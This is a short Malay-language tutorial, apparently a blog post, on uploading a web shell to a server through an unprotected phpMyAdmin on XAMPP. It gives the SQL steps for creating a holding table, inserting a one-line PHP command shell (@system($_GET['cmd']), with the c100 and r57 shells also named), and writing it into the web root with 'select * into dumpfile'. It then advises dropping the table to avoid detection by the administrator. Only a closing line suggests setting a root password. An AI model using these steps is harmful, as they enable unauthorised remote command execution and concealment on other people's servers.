upload shell phpmyadmin xampp

cara-cara upload shell pada phpmyadmin xampp

1. site.com/phpmyadmin


2. create database..contoh : try

then klik create



jika berjaya




3. kemudian klik pada sql query..
akan kuar paparan new window,then paste kn kod ini n klik go


CREATE TABLE temptab(
codetab TEXT
) TYPE=MYISaM;




jika berjaya





4. klik table temptab yang telah dihasilkan tadi n klik kotak insert

then paste kn shell kod anda pada kotak value then klik go



selain menggunakan c100 atau r57,boleh juga gne kn simple shell ini

@system($_GET['cmd'])


jika berjaya





5. utk melihat dimana folder terinstallnya phpmyadmin ini,klik pada variable dan lihat character sets dir




secara defaultnya berada pada partition c:\xampp


6. setelah dipastikan kedudukan folder itu, klik kembali pada sql query then paste kn kod ini then klik go

select * into dumpfile 'C:/xampp/htdocs/2.php' from temptab; flush logs;




C:/xampp/htdocs/log.php <-- c:/xampp/hotdcs ialah folder shell akan berada dan 2.php ialah link utk access shell, terserah jika mahu meletakkan nama lain sekalipun..

jika berjaya





selesai,then boleh la gne shell yg telah diupload tadi.. :)

contohnye : site.com/2.php


alternatif jika tidak mahu dikesan oleh admin ialah drop table yg telah dibuat tadi..

klik pada database then tick kn pada nama database yg telah dihasilkn sebentar tadi n klik drop





p/s: securekn server dgn cara meletakkan password pada pada root atau localhost anda supaya tidak boleh diakses atau diubah